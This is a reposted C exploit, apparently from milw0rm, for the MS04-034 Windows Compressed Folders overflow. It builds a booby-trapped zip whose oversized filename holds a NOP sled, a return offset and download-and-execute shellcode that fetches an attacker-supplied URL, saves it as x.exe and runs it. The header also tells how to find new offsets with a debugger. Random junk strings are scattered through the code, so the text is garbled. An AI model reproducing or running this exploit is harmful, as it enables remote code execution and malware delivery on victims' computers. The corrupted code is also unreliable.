(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * 2 M0 o8 _0 e( d) D" p& O" k6 o* Tarako - Haxorcitos.com 2004 % }' D3 `7 n0 }7 p* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" . G2 b) f/ i+ {6 a7 b* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION - r, g3 y) Q+ q% c* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 7 Y0 x( M" D& C5 L0 D# V* # [2 \' n1 r3 b& o& d7 d! G* Greetings t #haxorcitos, #dsr and #localhost @efnet ( j) f* b! z5 w F7 |* * * How to get new offsets: 0 O \0 m- _: T2 t' G* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it ! w* U; b! Z9 }+ V# p* 3) search in the explorer.exe memory the shellcode and get the addresses * 4 ?+ a2 c" h( Z" H& d& L2 @% V8 J6 h*/ 1 s* T9 O7 {4 D7 t. T- I" f' H ) X% v+ w2 a+ P0 x, K#include <stdio.h> #include <windows.h> 8 ?. s2 c9 C+ k+ C+ G #pragma pack(1) ; `. Q, Z" L9 a/ U; w #define DATOS "Tarako-Haxorcitos.com" typedef struct { 1 T- T. w, J; e' M$ Z* oDWORD Signature; // PK.. 4 bytes (0x04034B50) 2 R9 p0 _* |- Q1 e2 H! p5 \1 RWORD VersionNeeded; 0 k2 G! P/ ?' |: O: ]+ ~WORD GeneralPurposeFlag; // para el data descriptor y demas % c3 y! ]. y5 i# xWORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; 2 ?# g' u7 A$ q7 @# rDWORD CompressedSize; DWORD UncompressedSize; , L* n u0 @8 h5 r# }3 o- gWORD FilenameLength; : r2 u: f( c2 I. R3 u8 XWORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; : I" {1 S" Z1 v* P typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) : ]- i; F' K5 c; GWORD MadeVersion; ) Z2 s3 U2 h( h5 sWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas : D2 }2 N$ H& i# q2 [; J0 hWORD CompressionMethod; 4 {. I, j" R" }2 qWORD ModFileTime; WORD ModFileDate; & p5 e' K% W! v+ q. EDWORD Crc32; 1 F( L$ x9 r& I6 V; [DWORD CompressedSize; DWORD UncompressedSize; K; u" u6 K }1 g5 r8 F4 F( tWORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; : c. l2 c/ l: W& o" RWORD DiskNumberStart; WORD InternalFileAttributes; 1 D. ~' B; w6 p# P6 LDWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; 6 C2 E+ h9 {! i: d7 h. m# P// filename (variable size) - m2 F9 S0 H9 H ~& P& Z+ }$ ~// extra field (variable size) / m( S# X& ~( ?; ^// file comment (variable size) " N% M1 K; {7 }0 {# A}MIDDLEHEADER; typedef struct { 8 W8 e$ O5 g. jDWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; 9 S. K$ ^# g% _% ^8 l8 kWORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; 5 W* k" ^( A/ E, ^4 x* WDWORD SizeCentralDirectory; ; ^' y& h; V- l8 y# r% eDWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; 5 @7 P, {8 \6 ^2 x /* * download shellcode - RaiSe - raise@netsearch-ezine.com 3 e9 Z) w2 V8 q) n, T; E*/ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" ( I5 h9 w* i' U1 o! h1 q"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" * C8 e+ Y/ g; \& h+ @2 P3 r# q0 M"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" ( D2 M# {+ @+ m"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" ( i3 ]. \! J/ t* L' r) s+ l! K"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" - Z8 `' j1 O1 W* W. p"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" & y% I0 G) m3 s"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" 3 i# j, T9 b6 u1 _% _; S2 b6 A9 e! W"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" 7 f; g& i% v" p9 T) B"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" % {* F4 ?% w) o |6 i7 L, p4 J"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" . T6 ?( w# y+ k* o"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" + y4 p% @0 w" G4 e+ ]/ \2 P; n"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" 2 l1 z3 @1 o" l6 _! Q9 r) D"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 1 W; c8 A) d! t; q"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" # n) ?% Q @9 x! B! _"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" . u! i# E! T$ _1 q" p! h"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" * u2 P( J' {$ ^8 ]2 ^; f"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" / r6 F7 X/ b( x( u+ X4 V. m0 e"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" 2 E9 B' Q# h1 M8 N* \( Q3 R"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; . j% N! q8 u; X0 V9 j5 f8 s char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { * O+ _4 e5 q9 }( H0 d1 ] FILE *ZipFile; TOPHEADER *Cabecera1; # @* P+ C& o9 O3 S0 cMIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; 0 T, ~" w5 R' j0 f. J6 S* y* EDWORD c; 1 i& m7 ?% |( Z) [; f# o# aUINT i; / o6 z2 l3 [# J+ C+ x' q" ]" ^char *filename; & E: n7 y$ @- f% Y% ]# w* Echar *url; 3 e/ ]/ p: c& p. hprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); 2 p! t P+ E' k/ w) b% X; h4 W& L$ Cif (argc!=2) { 8 d+ B) t1 |3 k9 Qprintf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } url=argv[1]; 0 i4 s8 ^1 u9 M5 j6 u: c3 }printf("\n * URL: %s",url); 4 U T l! k0 V+ p, C$ [% k' T8 T' I 7 R5 V9 m) r- l# ] if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } 6 P$ V. N# g% L5 f( v. g 0 |8 x3 W6 M. F! cc=0x8000; // filename length & k, g* s, }7 h' S! pfilename=(char*)malloc(sizeof(char)*c); 4 [# \+ D. B. \- ememset(filename,0,sizeof(filename)); 7 d# @) a# ^8 o for( i=0x0;i<c;i++) filename=(BYTE)0x90; . B& |2 P3 f( c& v memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 2 Z. y) u$ ~& Fmemcpy(filename+0x1818,offset,strlen(offset)); memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); 6 w% ^6 n4 X# s: ymemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 0 X# n u3 B8 U" h ; u; B) K& ~# M. gmemcpy(filename+(c-4),".txt",4); Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); 2 K8 {! k2 F% bCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); + g F3 C. Q2 C& Y+ ?3 {memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); ; D2 F2 y" s) O9 D( v. x4 ymemset(Cabecera3,0,sizeof(BOTTOMHEADER)); 1 u0 `) T9 ]- V/ B /////////////////////////////////////////////////////////////////// 0 l% D+ `# F- f8 ^5 k: {// TOPHEADER 8 O- c1 N( w% V; i9 G) s# W/////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD - h- V+ x5 I' ]! X$ KCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 5 S, M' `, V# l1 R \Cabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD + i1 m, ` B; v( ~Cabecera1->ModFileDate=0x3154; // WORD / j9 o Q, I# yCabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); % Q! @( t+ c! z, p' H' Y% QCabecera1->ExtraFieldLength=0x0000; // WORD # I- L4 n0 R0 r U V) |$ h+ m/////////////////////////////////////////////////////////////////// . b$ I: p' t' G5 C /////////////////////////////////////////////////////////////////// $ d' }+ H; H2 M// MIDDLEHEADER /////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD ) O% S* K [7 M" p. d6 bCabecera2->VersionNeeded=0x000A; // WORD + y6 Y+ g9 U: sCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD X; r* n1 j( b$ {0 yCabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD 7 @% ?' m3 j: u g# Y* _/ mCabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ]2 k+ Y" K5 _3 g$ B0 uCabecera2->ExtraFieldLength=0x0000; // WORD ! U; N! c+ T6 u. [ \! KCabecera2->FileCommentLength=0x0000; // WORD N" p. C: D+ o3 {, m' FCabecera2->DiskNumberStart=0x0000; // WORD 4 @+ t% d6 |" ~Cabecera2->InternalFileAttributes=0x0001; // WORD 0 g/ W# w4 ^+ Z* zCabecera2->ExternalFileAttributes=0x00000020; // DWORD Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// // BOTTOMHEADER /////////////////////////////////////////////////////////////////// # m0 u! X0 `% r5 q& RCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD : k; r* I/ N+ O0 kCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD 6 `4 Z4 W( ^6 R: F. jCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 1 U5 o) r l5 R! t7 F: J# E4 QCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD " Q3 U+ G* z( V# a- x' `9 s( ?Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD O# A4 {2 | B6 \7 R( W% H3 nCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 1 h4 X) E+ ~/ b6 P& z9 ~ % Y7 b. z, I! i* j+ m r3 hfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); / q- ?1 w2 C8 j4 ufwrite(DATOS,strlen(DATOS),1,ZipFile); 7 a2 M6 n6 |9 Q4 I& X" t, R fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); 1 f9 T2 k. q7 M. H* _& j" K) l3 vfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 9 r6 b9 e' H/ V. i fclose(ZipFile); printf("\n * prueba.zip created\n"); 7 W$ ?- a" {3 u9 N& o, @! _return 1; ) J: R$ k2 j! V$ k. y- E9 ~}//downloaded from milw0rm.com